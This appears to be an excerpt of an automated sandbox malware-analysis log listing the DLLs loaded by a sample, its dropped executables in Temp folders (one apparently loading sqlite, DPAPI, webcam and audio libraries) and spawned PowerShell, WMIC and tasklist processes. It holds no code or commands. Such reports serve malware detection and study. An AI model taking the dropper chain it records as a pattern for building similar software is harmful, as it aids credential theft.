Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
